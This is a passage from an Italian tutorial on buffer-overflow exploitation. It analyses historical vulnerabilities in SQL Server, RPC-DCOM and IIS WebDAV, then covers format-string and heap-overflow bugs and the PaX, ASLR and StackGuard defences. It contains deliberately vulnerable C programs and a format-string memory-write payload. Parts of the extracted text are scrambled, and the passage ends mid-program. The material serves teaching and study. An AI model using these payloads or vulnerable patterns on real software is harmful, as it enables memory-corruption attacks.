edx, [ebp+var_24C8] edx offset aSoftwareMic_17 ; “SOFTWARE\\Microsoft\\Microsoft SQL Server”... offset aSSMssqlserverC ; “%s%s\\MSSQLServer\\CurrentVersion” eax, [ebp+var_84] eax ds:sprintf esp, 10h
Dove: var_24C8 identifica un buffer che contiene dati di un pacchetto ricevuto. var_84 identifica invece un buffer da 128 bytes. Ciò che accade è piuttosto ovvio, i dati di un pacchetto possono raggiungere anche i 1024 bytes, mentre il buffer di destinazione è molto più piccolo. - SQL Server "Hello" vulnerability Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 58 di 193
System exploitation using buffer overflow
Questo è il caso classico di strcpy() mov add push lea push call add
eax, [ebp+arg_4] eax, [ebp+var_218] eax ecx, [ebp+var_214] ecx strcpy esp, 8
Dove: var_214 è un buffer da 512 bytes. la stringa sorgente è semplicemente un pacchetto dati. - LSD's RPC-DCOM vulnerability Una implentazione di strcpy() con controlli insufficienti. Lo spezzone di codice è adibito al parsing dei percorsi UNC. mov ax, [eax+4] cmp ax, ‘\‘ jz short loc_761AE698 sub edx, ecx loc_761AE689: mov [ecx], ax inc ecx inc ecx mov ax, [ecx+edx] cmp ax, ‘\‘ jnz short loc_761AE689 Il formato dei percorsi UNC è: "\\server\share\path". La funzione salta i primi 4 bytes, saltando "\\". Poi copia la restante parte dentro un buffer di destinazione fino a che non viene incontrato un backslash di terminazione. La vulnerabilità è piuttosto ovvia, dato che potremmo inviare una stringa arbitraria verso il server. - IIS WebDAV vulnerability WebDAV è una raccolta di metodi HTTP nata con lo scopo di rendere possibile la scrittura, oltre che la lettura, di file presenti nei web server. WebDAV permette ad esempio di modificare una pagina WEB, o condividere materiale rendendolo subito disponibile. La vulnerabilità in questione non è banale. Occorre molto tempo e pratica nel code auditing per identificare bug di questo genere. Il problema si presenta durante il passaggio di una stringa più lunga di 64K alla funzione RtlDosPathNameToNtPathName_U(). La struttura dati di una stringa unicode o ANSI è la seguente: typedef struct UNICODE_STRING { unsigned short length; unsigned short maximum_length; wchar *data; }; Nel dettaglio si tratta di un problema con una variabile di 16 bit senza segno. Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 59 di 193
System exploitation using buffer overflow
Se la stringa passata supera i 65.535 caratteri di lunghezza la variabile a 16 bit risulta inadeguata a contenere il valore length, che diverrà molto piccolo. Questo non dovrebbe esservi nuovo come problema perchè già visto. Ammettiamo di passare alla funzione una stringa lunga 66.000 caratteri. (66.000 bytes) 66.000 --> 0001 1101 0000 contro il massimo valore rappresentabile con 16 bit: 65.535 --> 0000 1111 1111 si ha un troncamento: \\\\ 1101 0000 --> 208 La struttura UNICODE_STRING conterrà una stringa di 66 KB ed il suo campo length settato a 208. Ben 65.792 bytes in meno. La sua iniziazzione avviene con il codice seguente appartenenete alla funzione RtlInitUnicodeString: mov edi, [esp+arg_4] mov edx, [esp+arg_0] mov dword ptr [edx], 0 mov [edx+4], edi or edi, edi jz short loc_77F83C98 or ecx, 0FFFFFFFFh xor eax, eax repne scasw not ecx shl ecx, 1 mov [edx+2], cx dec ecx dec ecx mov [edx], cx
// possible truncation here // possible truncation here
Il valore length viene calcolato dall'istruzione "repne scasw" poi moltiplicato per due e sistemato in un registro a 16 bit. Proseguendo verso la chiamata a RtlDosPathNameToNtPathName_U troviamo: mov movzx mov lea mov cmp jnb
dx, [ebp+var_30] esi, dx eax, [ebp+var_28] ecx, [eax+esi] [ebp+var_5C], ecx ecx, [ebp+arg_4] loc_77F8E771
In questo spezzone var_28 è la lunghezza di un'altra stringa, e var_30 è la lunghezza della struttura della string unicode detta prima (con il valore troncato a 16 bit). Se la somma delle due stringhe è minore di arg_4, (lunghezza buffer destinazione) allora le due stringhe vengono copiate nel buffer di destinazione, il quale è stato precedentemente allocato nello stack. Siccome una delle due stringhe è significativamente più lunga della dimensione del buffer di destinazione, avviene una sovrascrittura dello stack. Il ciclo che si occupa di copiare la stringa è facilmente riconoscibile ed è tra quelli standard che implementano strcpy(). mov [ecx], dx add ecx, ebx mov [ebp+var_34], ecx add [ebp+var_60], ebx loc_77F8AE6E: Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 60 di 193
System exploitation using buffer overflow
mov mov test jz cmp jz cmp jz cmp jnz jmp
edx, [ebp+var_60] dx, [edx] dx, dx short loc_77F8AE42 dx, ax short loc_77F8AE42 dx, ‘/‘ short loc_77F8AE42 dx, ‘.’ short loc_77F8AE63 loc_77F8B27F
Molto probabilmente questa parte di codice è un buon punto di partenza da dove partire con l'indagine. Attraverso questa vulnerabilità è possibile sovrascrivere di molti bytes lo stack, quindi il thread crasherà e verrà chiamata la routine SEH (exception handler) sovrascritta dal contenuto di buffer, che se preparato a dovere conterrà l'indirizzo del presunto entry point di una funzione. 0x0c] Bugs relativi al formato delle stringhe Up Il seguente programma stampa a video tutti i possibili caratteri esadecimali: #include <stdio.h> void main(void) { int c; printf("Decimal hex character\n\ ---------------------\n"); for(c=0x20;c<256;c++){ printf(" %03d 0x%02x %c\n",c,c,c);} return; } Oltre a fornire un comodo metodo per avere sottomano tutti i simboli ASCII, il programma illustra il funzionamento delle funzioni della famiglia di printf(), ovvero quelle aventi tra i loro argomenti, il tipo di formattazione richiesta, la stringa di formato. Una funzione come printf è apparentemente innocua. I problemi relativi alla formattazione delle stringhe, soprattutto quando sono fornite dall'utente è una delle categorie più pericolose. Le seguenti sono funzioni ipoteticamente affette da problemi di questo tipo: printf fprintf sprintf snprintf vfprintf vprintf vsprintf vsnprintf Dove si trova esattamente il punto? Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 61 di 193
System exploitation using buffer overflow
Se analizziamo la sintassi e il modo in cui printf() viene chiamata dal punto di vista dello stack, scopriamo alcuni fatti interessanti. .text: 00401347 |. 0040134B |. 0x%02x %c" 00401352 |.
894424 04 |MOV DWORD PTR SS:[ESP+4],EAX C70424 2D3040>|MOV DWORD PTR SS:[ESP],FormatSt.0040302D
; | ; |ASCII " %03d
E8 79050000
; \printf
|CALL <JMP.&msvcrt.printf>
Ecco la situazione dello stack al momento della chiamata a printf(): 0022FF50 0022FF54 0022FF58 0022FF5C
0040302D 00000020 00000020 00000020
|format |<%03d> |<%02x> \<%c> =
= " %03d 0x%02x = 20 (32.) = 20 20 (' ')
%c" <--- Stringa di formato <--- Argomenti ...
I registri: EAX ECX EDX EBX ESP EBP ESI EDI EIP
00000020 77C118BF 77C31B78 7FFD9000 0022FF50 0022FF78 FFFFFFFF 7C920228 00401352
msvcrt.77C118BF msvcrt.77C31B78
ntdll.7C920228 FormatSt.00401352
<--- chiamata a printf
Gli argomenti vengono passati tramite lo stack. Che cosa farà dunque printf? Invierà su stdout il contenuto di memoria puntato dal suo secondo argomento, in questo caso una variabile che si trova in una data posizione in memoria, per l'esattezza nello stack, uttilizzando un formato definito dal primo argomento. A fronte di questa considerazione, prendiamo in analisi quast'altro programma: #include <stdio.h> int main(int argc, char**argv) { /* * This program show a problem with printf format string, * Pass to command line any format string type for achieve particular printf function beahavior. * For example: * ./fmt "0x%X 0x%X 0x%X" */ if(argc!=2) { printf("Error - supply a format string please\n"); return -1; } printf(argv[1]); printf("\n"); return 0; Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 62 di 193
System exploitation using buffer overflow
} eseguiamo passando come argomento la stringa di formato: "0x%08x 0x%08x 0x%08x 0x%08x". Output: 0xcd06a611 0x00401360 0x00401315 0x6ffb5bbc E' come se avessimo eseguito printf in questo modo: "printf(%x %x %x %x);" Non inserendo tutti gli argomenti di printf(), questa non può accorgersene e stampa esattamente quello che si trova nella posizione prevista. Ovvero: ESP+4, ESP+8, ESP+12, ESP+16. Possiamo in questo modo stampare elementi provenienti dallo stack. Questa particolarità di printf può essere intelligentemente sfruttata: root@HackLab:~# ./a.out $(python -c "print ('%X' * 100)") 8049FF4BFBD3A58BFBD3A60B8064F50BFBD3A60BFBD3AB8B7EF868580484A08048370BFBD3AB8B7EF86852BFBD3AE4BF BD3AF0B8056BB81108048265B803BFF480484A08048370BFBD3AB8FF54C0755A2C9465000B806A090B7EF85ADB8072FF 4280483700804839180484242BFBD3AE480484A08048490B8064F50BFBD3ADCB806FAAA2BFBD5564BFBD556C0BFBD563 5BFBD5652BFBD5666BFBD5679BFBD5689BFBD5694BFBD56E4BFBD5739BFBD5781BFBD5795BFBD57A7BFBD57B7BFBD57C BBFBD57E1BFBD57EBBFBD581ABFBD5C43BFBD5C70BFBD5CA2BFBD5CCFBFBD5CFABFBD5D23BFBD5D37BFBD5DE0BFBD5E1 5BFBD5E1FBFBD5E26BFBD5E38BFBD5E51BFBD5E78BFBD5E80BFBD5E8BBFBD5EA1BFBD5EAEBFBD5F10BFBD5F3BBFBD5F5 BBFBD5F68BFBD5F75BFBD5FA0BFBD5FC2BFBD5FCDBFBD5FEA020FFFFE41421FFFFE0001078BFBFF6100011 Passando un indrizzo al programma è possibile stamparne a video il contenuto. Ora, pensiamo alla stringa di formato di printf() "%n". %n setta in una variabile il numero di caratteri inviati su stdout dalla chiamata stessa fino a quel momento. Quale possa essere oggi la sua utilità nello sviluppo non so, so però che ci fornisce l'opportunità di scrivere nello stack. Ora si tratta solo di usarla in un modo furbo. Anni fa sarebbe stato possibile utilizzare printf per andare ad inserire qualsiasi valore in qualsiasi posizione dello stack dopo l'indirizzo corrispondente agli argomenti. Ad esempio: root@HackLab:~# ./a.out $(printf "\x96\x97\x04\x08\x94\x97\x04\x08")%49143x%4\$hn%15731x%5\ $hn La stringa passata come argomento sembra senza significato ma se analizzata con calma ci accorgiamo di alcune cose: $(printf "\x96\x97\x04\x08\x94\x97\x04\x08") Sono due indirizzi di memoria scritti al contrario 0x08049794 e 0x08049794 %49143x Non esegue operazioni di stampa ma incrementa %n di 49143 che con i precedenti arriva a 49143+8 = 49151 %4\$hn $ accede direttamente al parametro successivo, ovvero hn che sarà l'n byte scritto con h che identifica (scriverà) uno short anzichè un int. %15731x Altri byte, 49151 + 15731 + 4 = 64890 x%5\ $hn stesso discorso fatto prima. Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 63 di 193
System exploitation using buffer overflow
Non perdiamo altro tempo per questo concetto dato che se ancora esistono molti sistemi dotati di kernel inferiori al 2.4 questi non sono più la maggior parte e sono in forte diminuzione. Mentre la maggior parte usa i nuovi kernel, quindi dal 2.4 in su, questi hanno sistemi di protezione della memoria che riarrangiano lo stack mescolandone secondo un dato criterio gli elementi e modificano ad ogni escuzione di un dato programma il suo layout di indirizzi virtuali. Pertanto non abbiamo più a disposizione nessun riferimento. In conclusione, un bug relativo alle stringhe di formato capita quando un dato fornito dall'utente è incluso nella stringa che specifica il formato di una delle funzioni appartenenti alla famiglia di printf. L'attaccante fornisce un numero di specificatori di formato che non hanno corrispondenti argomenti nello stack, quindi al loro posto vengono utilizzati valori che si trovano nello stack nelle previste posizioni. Rimane comunque una vulnerabilità nella maggior parte dei casi locale. 0x0d] Bugs relativi all'allocazione nello heap Up Rimanendo in ambiente linux, introduciamo le vulnerabilità legate allo heap. Che cosè lo heap? Come saprete oltre lo stack già citato, un processo ha a disposizione anche un'altra regione di memoria per l'allocazione di variabili, questo viene appunto chiamato heap. Su linux la sezione per allocare variabili non inizializzate è la .bss, mentre la sezione .data viene utilizzata per quelle inizializzate. Ad esempio la seguente dichiarzione alloca bytes nella sezione .data: char*buffer = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; int main() { ... Utilizzare una regione di memoria diversa dallo stack per allocare variabili e strutture è conveniente oltre che necessaria per vari motivi; in primo luogo lo stack viene utilizzato principalmente per memorizzare indirizzi di chiamate a funzioni effettuate, pertanto è bene non occupare questa area di memoria con variabili, che possono raggiungere anche centinaia di byte. In secondo luogo, utilizzando lo heap un ipotetico attacco verso le variabili darebbe meno possibilità all'attaccante. Le chiamate di sistema incaricate all'allocazione di memoria nello heap, detta "dinamica", sono brk() e mmap(), utilizzate da malloc() ad esempio. Esistono però anche una serie di controindicazioni nell'uso dello heap. Quando malloc riserva spazio per le variabili utente, tiene traccia della richiesta, dei byte allocati e di altre informazioni sistemandole in due posti, in alcune variabili globali utilizzate dall'implementazione stessa di malloc(), e in un blocco di memoria prima e dopo lo spazio allocato. In questo modo, come per lo stack overflow, anche l'heap overflow può potenzialmente sovrascrivere locazioni di memoria critiche. Alcuni esempi di bug legati all'allocazione incontrollata: memcpy(array[user_supplied_int], user_supplied_buffer, user_supplied_int2); buf=malloc(user_supplied_int+1); memcpy(buf,user_buf,user_supplied_int); buf=malloc(strlen(user_buf+5)); strcpy(buf,user_buf); buf=(char **)malloc(BUF_SIZE); Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 64 di 193
System exploitation using buffer overflow
while (user_buf[i]!=0) { buf[i]=malloc(strlen(user_buf[i])+1); i++; } buf=malloc(1024); strcpy(buf,user_supplied); buf=malloc(sizeof(something)*user_controlled_int); for (i=0; i<user_controlled_int; i++) { if (user_buf[i]==0) break; copyinto(buf,user_buf); } Ora, come per lo stack anche lo heap abbiamo detto contiene sia variabili fornite dall'utente, sia informazioni di sistema legate all'allocazione stessa. malloc() recupera uno grosso blocco di memoria dall'heap e divide questo in blocchi, all'utente restituisce uno di questi blocchi quando viene richiesto. free(), quando viene chiamata può decidere se prendere il blocco da liberare, e potenzialmente unirlo con lo spazio libero (altri blocchi) contiguo. Quello che è possibile fare è manipolare le funzioni malloc() o free()... Forniamoci del sorgente che segue, se non l'avete già notato questo contiene un bug da heap overflow molto banale. /*notvuln.c*/ int main(int argc, char** argv) { char *buf; buf=(char*)malloc(1024); printf("buf=%p",buf); strcpy(buf,argv[1]); free(buf); } Vediamo innanzi tutto come trovare la lunghezza di buffer senza partire dal sorgente ma da gdb, ad esempio nel caso in cui non disponiamo dei sorgenti. La lughezza del buffer allocato è sistemata contiguamente ad esso nello heap: ... (gdb) x/xw buf-4 0x804b004: 0x00000409 ... Come vedete 0x409 (1024) è la dimensione dello spazio allocato, capite bene che in situazioni dove la dimensione delle stringhe non è controllata è possibile sovrascrivere questi valori, magari di altri buffer. Non è necessario che la chiamata a malloc() viene eseguita, il valore è già sistemato nello heap prima, dato che il valore è deciso a priori. Il problema del programma appena visto, non è in realtà così critico come sembra (date anche le limiate operazioni compiute dal programma), infatti la copia incontrollata andrebbe si a sovrascrivere porzioni di heap ma nussuna locazione utile ai nostri scopi. Prendiamo ora in esame un'altro bug: /*basicheap.c*/ int main(int argc, char** argv) { Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 65 di 193
System exploitation using buffer overflow
char *buf; char *buf2; buf=(char*)malloc(1024); buf2=(char*)malloc(1024); printf(“buf=%p buf2=%p\n”,buf,buf2); strcpy(buf,argv[1]); free(buf2); } In questa versione sono presenti due allocazioni una di seguito all'altra. Quando la funzione strcpy() viene chiamata, questa consente di copiare contiguamente a buf una stringa fornita in input. Ora, rammentate che lo heap cresce in maniera opposta allo stack, quindi capite che l'invio di una stringa più grande di alcuni bytes della dimensione di buf vanno a sovrascrivere la struttura che contiene informazioni riguardo lo spazio allocato per buf2. Di conseguenza la chiamata a free() si ritroverà dati non validi per operare sullo heap: matteo@matteo2:~$ ltrace ./a.out `perl -e 'print "A" x 5000'` __libc_start_main(0x8048484, 2, 0xbfce6184, 0x8048500, 0x80484f0 <unfinished ...> malloc(1024) = 0x08757008 malloc(1024) = 0x08757410 printf("buf=%p buf2=%p\n", 0x8757008, 0x8757410buf=0x8757008 buf2=0x8757410 ) = 29 strcpy(0x08757008, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...) = 0x08757008 free(0x08757410 <unfinished ...> --- SIGSEGV (Segmentation fault) --+++ killed by SIGSEGV +++ Ma capiamo esattamente come è organizzata la memoria nello heap, ovvero cosa sono e come sono strutturari i chunk. Questo abbiamo detto è un blocco di memoria situato nello heap, ma contiguamente ad esso abbiamo appena visto vi sono altre informazioni. Bene queste informazioni sono mantenute in una struttura, la seguente: (definita in sys/malloc/malloc.c) struct malloc_chunk { INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ struct malloc_chunk* bk_nextsize; }; Questa trattazione sullo heap ci dovrebbe bastare per scovare potenziali problemi relativi alla allocazione dinamica nei programmi. 0x0e] (Arch: LINUX) - exploit oggi, PaX e StackGuard Up Ciò che abbiamo visto nei capitoli precedenti è una "passeggiata di salute" in confronto a ciò che è necessario sapere e fare al giorno d'oggi per poter effettuare una operazione similare a quella appena vista. Negli anni 90 qualsiasi informatico capace, con un pò di sforzo poteva arrivare a fare quello che abbiamo appena visto nell'esempio e prendere il controllo di una macchina remota se in possesso di una vulnerabilità di quel tipo. Negli ultimi anni del millennio presero vita diversi progetti con l'obiettivo comune di rendere molto più difficile la vita ad hacker e co. A parte i controlli fatti dal programmatore non abbiamo visto nessun altro check sulla memoria Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 66 di 193
System exploitation using buffer overflow
fatto in autonomia dal sistema. D'ora in poi darò per scontato molte delle cose che prima abbiamo affrontato più nel dettaglio. Si presuppone che queste siano state tutte acquisite in modo più che soddisfacente. Cominciamo... PaX L'obiettivo del progetto PaX è la ricerca e lo sviluppo di un sistema di sicurezza riguardo gli exploit di errori software che consentono di eseguire codice arbitrario da parte di un attaccante. Questo viene fatto attraverso varie precauzioni. La prima adottata è la marcatura dello stack di memoria del processo come non eseguibile. Pertanto su un kernel 2.6.30 vedremo: root@HackLab:~# cat /proc/self/maps 08048000-0804f000 r-xp 00000000 03:01 ... b8014000-b8015000 r--p 0001a000 03:01 b8015000-b8016000 rw-p 0001b000 03:01 bfe00000-bfe15000 rw-p 00000000 00:00 ffffe000-fffff000 r-xp 00000000 00:00
1359890
/bin/cat
843797 843797 0 0
/lib/ld-2.8.90.so /lib/ld-2.8.90.so [stack] << --- x? [vdso]
Come vedete l'area di stack non è marcata come eseguibile. Quando tenteremo di saltare a livello di esecuzione su un indirizzo di stack ci verrà riportato un errore SIGSEGV. Questa protezione è molto efficace. In questo modo il massimo che si può fare è provocare il crash del programma o del sistema. Brevemente, l'operazione di marcatura come non eseguibile viene fatta all'atto di creazione del processo attraverso la syscall mprotect() Questa decide se la parte di memoria da mappare ha necessità di essere scritta / letta o eseguita. Si può guardare direttamente il sorgente mm/mprotect.c per maggiori informazioni al riguardo. La seconda caratteristica introdotta da PaX è la randomizzazione del layout di indirizzi virtuali del processo (ASLR). Questo disturba ulteriormente il nostro lavoro. Una delle cose che tanto abbiamo detto essere di cruciale importanza sapere è dove si troveranno certi indirizzi all'interno dello stack. Con questo sistema non è più possibile prevedere nel modo classico l'indirizzo che troveremo nello stack. Al momento della rilocazione dell'eseguibile in memoria, gli indirizzi virtuali sono randomizzati. Le carte in tavola vengono mischiate. Sulla documentazione ufficiale del progetto PaX viene riportata anche una minuziosa valutazione delle probabilità di successo dopo questa randomizzazione. L'implementazione di questo sistema si basa sulla generazione dei VA con il device random o sul tempo di sistema. Pensiamo all'esempio del capitolo precedente. Non solo la sovrascrittura dello stack con l'indirizzo di buffer è inefficace, ma anche se avessimo indovinato tale locazione, la nostra shellcode non sarebbe stata eseguita e il thread del server sarebbe terminato con SIGSEGV. In ordine di essere un pò più esaurienti, diamo un occhio a come i processi vengono rilocati con VA diversi ad ogni esecuzione, possiamo usare questo comando per due o più volte: - Kernel version: 2.6.30 root@HackLab:~# cat /proc/self/maps 08048000-0804f000 r-xp 00000000 03:01 0804f000-08050000 r--p 00006000 03:01 08050000-08051000 rw-p 00007000 03:01 08e82000-08ea3000 rw-p 00000000 00:00 b7d9d000-b7ef5000 r-xp 00000000 03:01 b7ef5000-b7ef7000 r--p 00158000 03:01 Copyright © Matteo Tosato 2010-2011
262162 262162 262162 0 1123591 1123591
/bin/cat /bin/cat /bin/cat [heap] /lib/tls/i686/cmov/libc-2.8.90.so /lib/tls/i686/cmov/libc-2.8.90.so
tosatz@tiscali.it rev.2.2
Pag. 67 di 193
System exploitation using buffer overflow
b7ef7000-b7ef8000 rw-p 0015a000 03:01 b7ef8000-b7efb000 rw-p 00000000 00:00 b7f10000-b7f12000 rw-p 00000000 00:00 b7f12000-b7f2c000 r-xp 00000000 03:01 b7f2c000-b7f2d000 rw-p 00000000 00:00 b7f2d000-b7f2e000 r--p 0001a000 03:01 b7f2e000-b7f2f000 rw-p 0001b000 03:01 bf9f3000-bfa08000 rw-p 00000000 00:00 ffffe000-fffff000 r-xp 00000000 00:00 root@HackLab:~# cat /proc/self/maps 08048000-0804f000 r-xp 00000000 03:01 0804f000-08050000 r--p 00006000 03:01 08050000-08051000 rw-p 00007000 03:01 086c5000-086e6000 rw-p 00000000 00:00 b7e15000-b7f6d000 r-xp 00000000 03:01 b7f6d000-b7f6f000 r--p 00158000 03:01 b7f6f000-b7f70000 rw-p 0015a000 03:01 b7f70000-b7f73000 rw-p 00000000 00:00 b7f88000-b7f8a000 rw-p 00000000 00:00 b7f8a000-b7fa4000 r-xp 00000000 03:01 b7fa4000-b7fa5000 rw-p 00000000 00:00 b7fa5000-b7fa6000 r--p 0001a000 03:01 b7fa6000-b7fa7000 rw-p 0001b000 03:01 bfa26000-bfa3b000 rw-p 00000000 00:00 ffffe000-fffff000 r-xp 00000000 00:00
1123591 0 0 1084390 0 1084390 1084390 0 0
/lib/tls/i686/cmov/libc-2.8.90.so
262162 262162 262162 0 1123591 1123591 1123591 0 0 1084390 0 1084390 1084390 0 0
/bin/cat /bin/cat /bin/cat [heap] /lib/tls/i686/cmov/libc-2.8.90.so /lib/tls/i686/cmov/libc-2.8.90.so /lib/tls/i686/cmov/libc-2.8.90.so
/lib/ld-2.8.90.so /lib/ld-2.8.90.so /lib/ld-2.8.90.so [stack] [vdso]
/lib/ld-2.8.90.so /lib/ld-2.8.90.so /lib/ld-2.8.90.so [stack] [vdso]
Riferendoci alla prima videata, In questa versione di kernel, ecco come un processo utente viene mappato in memoria; la mappatura parte sempre dall'indirizzo 0x08048000. A questa locazione troviamo il segmento .text, all'indirizzo successivo troviamo il segmento .bss, notiamo subito che questo non è eseguibile. Qualcosa di più interessante si trova all'indirizzo 0x08e82000 è lo heap, notate l'indirizzo di questo cambia alla successiva esecuzione del comando. Agli indirizzi successivi sono mappate le libc, su linux tali ibrerie vengono mappate in ogni processo che ne ha bisogno, rappresentano l'interfaccia utente con il kernel oltre altre funzioni. Anche questi indirizzi sono randomizzati. Le due regioni successive sono invece inutilizzate. Proseguendo troviamo le librerie dinamiche di Linux, queste contengono varie funzioni utilizzate dal linker e sono indispensabili per poter fornire altre librerie a runtime, ad esempio le libc appena citate. Finalmente troviamo lo stack, che sapete a cosa serve, questo non è marcato come eseguibile. Al prossimo indirizzo troviamo un'altra libreria dinamica necessaria all'eseguibile [vdso] o chiamata anche "Linux-gate". Molti exploit hanno sfruttato il fatto che questa libreria viene sempre allocata allo stesso indirizzo per effettuare un tipo di attacco simile all'esempio chiamato "Return-To-Libc" per motivi che vedremo. Questo fino alla successiva versione del kernel, dove il problema è stato risolto effettuando la randomizzazione anche di questa regione di processo. Infattti spostiamoci su una macchina con versione kernel successiva, diamo la stessa serie di comandi: - Kernel version: 2.6.32 matteo@Moon:~$ cat /proc/self/maps 00261000-003b4000 r-xp 00000000 08:01 003b4000-003b5000 ---p 00153000 08:01 003b5000-003b7000 r--p 00153000 08:01 003b7000-003b8000 rw-p 00155000 08:01 Copyright © Matteo Tosato 2010-2011
875353 875353 875353 875353
/lib/tls/i686/cmov/libc-2.11.1.so /lib/tls/i686/cmov/libc-2.11.1.so /lib/tls/i686/cmov/libc-2.11.1.so /lib/tls/i686/cmov/libc-2.11.1.so
tosatz@tiscali.it rev.2.2
Pag. 68 di 193
System exploitation using buffer overflow
003b8000-003bb000 rw-p 00000000 00:00 007fe000-00819000 r-xp 00000000 08:01 00819000-0081a000 r--p 0001a000 08:01 0081a000-0081b000 rw-p 0001b000 08:01 00dc9000-00dca000 r-xp 00000000 00:00 08048000-08054000 r-xp 00000000 08:01 08054000-08055000 r--p 0000b000 08:01 ... matteo@Moon:~$ cat /proc/self/maps 00859000-0085a000 r-xp 00000000 00:00 00b9c000-00bb7000 r-xp 00000000 08:01 00bb7000-00bb8000 r--p 0001a000 08:01 ...
0 859856 859856 859856 0 277999 277999
/lib/ld-2.11.1.so /lib/ld-2.11.1.so /lib/ld-2.11.1.so [vdso] /bin/cat /bin/cat
0 859856 859856
[vdso] /lib/ld-2.11.1.so /lib/ld-2.11.1.so
Linux-Gate viene randomizzato. Attraverso le librerie è possibile alcune volte aggirare (solo) il problema dello stack non eseguibile imposto da PaX, il comando seguente ci mostra le dipendenze di un eseguibile senza conoscere dove si trova all'interno della cartella /bin. Dipendenze di "ls": matteo@Moon:~$ ldd $(find /bin -name ls) linux-gate.so.1 => (0x00ee5000) librt.so.1 => /lib/tls/i686/cmov/librt.so.1 (0x007e3000) libselinux.so.1 => /lib/libselinux.so.1 (0x0093d000) libacl.so.1 => /lib/libacl.so.1 (0x00110000) libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0x00aca000) libpthread.so.0 => /lib/tls/i686/cmov/libpthread.so.0 (0x007f7000) /lib/ld-linux.so.2 (0x0051b000) libdl.so.2 => /lib/tls/i686/cmov/libdl.so.2 (0x00338000) libattr.so.1 => /lib/libattr.so.1 (0x00f6e000) In quanto al fatto della marcatura come non eseguibile dello stack, lo possiamo vedere dalla colonna permessi del file maps, anche la maggior parte delle altre regioni è divenuta non eseguibile o comunque non scrivibile/eseguibile insieme. StackGuard/ProPolice L'ultimo è una versione successiva del primo, di fatto lavorano con lo stesso principio. Se prima la cosa era molto semplice ora ci conviene fare uno schemino, anche in vista di mettere in ordine alcuni concetti. Il seguente mostra la struttura dello stack classico, ____________________ | | | NULL | |____________________| | | |Environments strings| |____________________| | | | Comm-line arg | |____________________| | | | Dynamyc-linker's | |_______table________| | | | anvp[] |
PAGE_OFF, env_end env_start, arg_end arg_start
&envp[0]
Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 69 di 193
System exploitation using buffer overflow
|____________________| | | | argv[] | &argv[0] |____________________| | | | argc | |____________________| V start_stack | | | Return address | Stack top (esp register) |____________________| | | | Arguments | Date le limitazini imposte dai nuovi sistemi di sicurezza dobbiamo allargare la nostra veduta, oltre alle variabili allocate, anche a tutti gli altri elementi presenti nello stack. Propolice agisce su questa struttura modificando l'ordinamento degli elementi dello stack in modo da eliminare il rischio che copie incontrollate vadano a sovrascrivere indirizzi di ritorno, frame pointer precedenti e variabili locali. Stackguard può far questo grazie ad un processo di traslazione degli elementi che agisce a livello di pre-processore. Riproponiamo dunque un nuovo schema per lo stack, questo verte a mostrare come la memoria viene riorganizzata, _____________________ | | | Local variables (C) | Safe location |_____________________| | | | Arrays[] (B) | Possible attack |_____________________| | | | canary | |_____________________| | | | previous frame ptr | -- Protected areas -|_____________________| | | | return address | "" |_____________________| | | | arguments (A) | "" |_____________________| | | | | Questo modello più generalizzato gode delle seguenti proprietà: - Le locazioni di memoria fuori dal frame pointer non possono essere danneggiate quando la funzione ritorna. - La locazione B, è l'unico posto dove l'attacco può essere effettuato, questo perchè? Se una copia sovrascrivesse lo stack frame, anche il valore "canary" (da stackguard introdotto) verrebbe sovrascritto. Prima di ritornare dalla funzione il valore canary viene controllato, se compromesso il processo viene terminato. Dovrebbe essere chiaro il sistema. - Un attacco al puntatore di una variabile all'esterno del frame della funzione non avrebbe successo. - A maggior ragione un attacco al puntatore di una variabile all'interno del frame della funzione non avrebbe successo, dato che si trova ora in una posizione sicura. Stackguard è sicuramente più complesso e interessante come sistema di sicurezza. Tanto per non Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 70 di 193
System exploitation using buffer overflow
dimenticarci del tutto di redmond diciamo anche che sulle piattaforme windows esistono sistemi similari, anche se non del tutto, a questi due. L'applicazione di PaX e Stackguard/Propolice rendono l'exploit molto molto più difficile. A prima vista uno oserebbe dire anche "impossibile!" Una cosa è evidente, gli accessi non autorizzati ai danni di società stanno diminuendo perchè sempre meno persone sono in grado di capire e sviluppare le nuove tecniche per bypassare questi controlli e pian piano i sistemi si stanno aggiornando. Prima di analizzare e valutare l'efficienza di questi due componenti ricordo una cosa. Generalmente questi due sistemi sono presenti entrambi. Pertanto l'analisi delle possibili vulnerabilità deve essere eseguita con entrambi i sistemi attivi non con un singolo sistema di protezione alla volta. E' facile tirare delle precoci conclusioni dicendo che quel sistema non è sicuro. Sbagliato. Occorre valutare l'efficienza dei due sistemi insieme. Vediamo di fare un pò di esperienza, scriviamo il programma seguente: --------- test0C.c -----------------------#include <stdio.h> #include <string.h> #include <stdlib.h> get_esp(void) {__asm__ volatile ("movl %esp, %eax\n");} int main(int argc, char **argv, char **envp) { int a; // Integer variable long *p; // Pointer char buffer[16]; // Array void (*function)(); // Function pointer a = 2147483647; memset(buffer,0x41,16); printf("\nmain is at: // Elements localization printf("Stack structure:\n"); printf("ESP: printf("int a is at: printf("long *p is at: printf("char buffer[] is at: printf("(*function)() is at: printf("int argc is at: printf("char *argv[] is at: printf("char *envp[] is at:
